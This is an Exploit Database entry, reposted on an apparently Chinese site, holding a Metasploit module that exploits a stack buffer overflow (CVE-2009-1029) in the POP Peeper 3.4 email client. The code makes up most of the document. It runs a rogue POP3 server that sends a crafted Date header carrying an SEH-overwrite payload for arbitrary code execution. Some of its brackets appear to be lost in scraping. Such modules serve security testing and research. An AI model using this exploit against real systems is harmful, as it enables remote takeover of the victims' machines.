POP Peeper 3.4 – DATE Buffer Overflow (Metasploit)

Exploit Database
104 阅读

作者： Metasploit

日期： 2010-11-11
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16441/

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# $Id: poppeeper_date.rb 10998 2010-11-11 22:43:22Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::TcpServer

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'POP Peeper v3.4 DATE Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in POP Peeper v3.4.

When a specially crafted DATE string is sent to a client,

an attacker may be able to execute arbitrary code. This

module is based off of krakowlabs code.

'Author' => [ 'MC' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 10998 $',

'References' =>

[

[ 'CVE', '2009-1029' ],

[ 'OSVDB', '53560'],

[ 'BID', '34093' ],

[ 'URL', 'http://www.krakowlabs.com/res/adv/KL0209ADV-poppeeper_date-bof.txt' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space'=> 750,

'BadChars' => "\x00\x0a\x20\x0d",

'StackAdjustment'=> -3500,

'EncoderType' => Msf::Encoder::Type::AlphanumMixed,

'DisableNops' => 'True',

'Platform' => 'win',

'Targets'=>

[

[ 'POP Peeper v3.4', { 'Ret' => 0x10014e39 } ],

'Privileged' => false,

'DisclosureDate' => 'Feb 27 2009',

'DefaultTarget'=> 0))

register_options(

[

OptPort.new('SRVPORT', [ true, "The POP daemon port to listen on", 110 ])

], self.class)

end

def on_client_connect(client)

ok = "+OK\r\n"

client.put(ok)

end

def on_client_data(client)

return if ((p = regenerate_payload(client)) == nil)

ok = "+OK\r\n"

client.put(ok)

client.get_once

ok = "+OK\r\n"

client.put(ok)

client.get_once

ok = "+OK 1 100\r\n"

client.put(ok)

client.get_once

ok = "+OK\r\n1 " + rand_text_english(4) + "\r\n.\r\n"

client.put(ok)

client.get_once

ok = "+OK 1 100\r\n.\r\n"

client.put(ok)

client.get_once

ok = "+OK 100 octects\r\n"

client.put(ok)

sploit = "Date: " + rand_text_alpha_upper(132) + generate_seh_payload(target.ret) + "\r\n.\r\n"

client.put(sploit)

handler

service.close_client(client)

end